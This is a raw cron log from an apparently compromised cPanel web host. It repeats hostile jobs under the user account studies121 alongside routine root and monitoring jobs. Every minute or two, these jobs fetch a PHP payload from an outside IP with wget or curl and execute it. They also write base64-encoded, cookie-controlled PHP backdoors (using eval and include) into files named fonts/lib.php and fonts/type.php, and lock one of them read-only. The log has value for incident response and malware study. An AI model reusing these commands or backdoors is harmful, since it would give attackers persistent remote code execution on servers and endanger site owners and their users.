Sep  8 19:30:01 ip-184-168-122-23 CROND[13274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:30:01 ip-184-168-122-23 CROND[13276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:30:01 ip-184-168-122-23 CROND[13275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:31:01 ip-184-168-122-23 CROND[13462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:31:01 ip-184-168-122-23 CROND[13463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:31:01 ip-184-168-122-23 CROND[13466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:31:01 ip-184-168-122-23 CROND[13465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:31:01 ip-184-168-122-23 CROND[13467]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:32:01 ip-184-168-122-23 CROND[13561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:32:01 ip-184-168-122-23 CROND[13564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:32:01 ip-184-168-122-23 CROND[13563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:32:01 ip-184-168-122-23 CROND[13565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:32:01 ip-184-168-122-23 CROND[13566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:33:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:33:01 ip-184-168-122-23 CROND[13670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:33:01 ip-184-168-122-23 CROND[13673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:33:01 ip-184-168-122-23 CROND[13672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:34:01 ip-184-168-122-23 CROND[13752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:34:01 ip-184-168-122-23 CROND[13754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:34:01 ip-184-168-122-23 CROND[13755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:34:01 ip-184-168-122-23 CROND[13757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:34:01 ip-184-168-122-23 CROND[13756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:35:01 ip-184-168-122-23 CROND[13861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:35:01 ip-184-168-122-23 CROND[13863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13868]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13865]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:35:01 ip-184-168-122-23 CROND[13870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:36:01 ip-184-168-122-23 CROND[13980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:36:01 ip-184-168-122-23 CROND[13982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:36:01 ip-184-168-122-23 CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:36:01 ip-184-168-122-23 CROND[13985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:36:01 ip-184-168-122-23 CROND[13986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:37:01 ip-184-168-122-23 CROND[14154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:37:01 ip-184-168-122-23 CROND[14158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:37:01 ip-184-168-122-23 CROND[14157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:37:01 ip-184-168-122-23 CROND[14156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:38:01 ip-184-168-122-23 CROND[14238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:38:01 ip-184-168-122-23 CROND[14240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:38:01 ip-184-168-122-23 CROND[14241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:38:01 ip-184-168-122-23 CROND[14243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:38:01 ip-184-168-122-23 CROND[14242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:39:01 ip-184-168-122-23 CROND[14327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:39:01 ip-184-168-122-23 CROND[14329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:39:01 ip-184-168-122-23 CROND[14330]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 19:39:01 ip-184-168-122-23 CROND[14331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:39:01 ip-184-168-122-23 CROND[14332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:40:01 ip-184-168-122-23 CROND[14435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:40:01 ip-184-168-122-23 CROND[14437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:40:01 ip-184-168-122-23 CROND[14439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:40:01 ip-184-168-122-23 CROND[14442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:40:01 ip-184-168-122-23 CROND[14446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:40:01 ip-184-168-122-23 CROND[14447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:40:01 ip-184-168-122-23 CROND[14449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:40:01 ip-184-168-122-23 CROND[14448]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:41:01 ip-184-168-122-23 CROND[14552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:41:01 ip-184-168-122-23 CROND[14555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:41:01 ip-184-168-122-23 CROND[14556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:41:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:42:01 ip-184-168-122-23 CROND[14714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:42:01 ip-184-168-122-23 CROND[14716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:42:01 ip-184-168-122-23 CROND[14717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
